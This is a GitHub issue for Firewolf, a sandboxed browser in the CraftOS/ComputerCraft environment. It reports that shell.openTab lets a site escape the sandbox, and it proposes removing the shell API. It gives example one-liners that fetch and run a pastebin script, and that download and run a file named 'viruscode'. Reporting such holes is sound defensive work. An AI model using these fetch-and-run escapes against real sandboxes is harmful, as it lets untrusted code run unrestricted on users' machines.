Skip to content

Remove shell from the sandbox #62

@xAnavrins

Description

@xAnavrins

Newer versions of CraftOS adds a few new functions in the shell api that aren't properly sandboxed.
"shell.openTab" is pretty much equivalent to shell.run and allows to run a local program on the computer outside of the sanbbox.
Example:
shell.openTab("pastebin run A1b2C3d4")
and
firewolf.download("viruscode"); shell.openTab("/downloads/viruscode")
Will run these file without any sandbox restrictions.

After looking at the whole set of function in shell api, it looks like some function either leaks some info about the filesystem, or are just plain useless for a firewolf site.
Might be good idea to completely remove the shell api from the sandbox.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions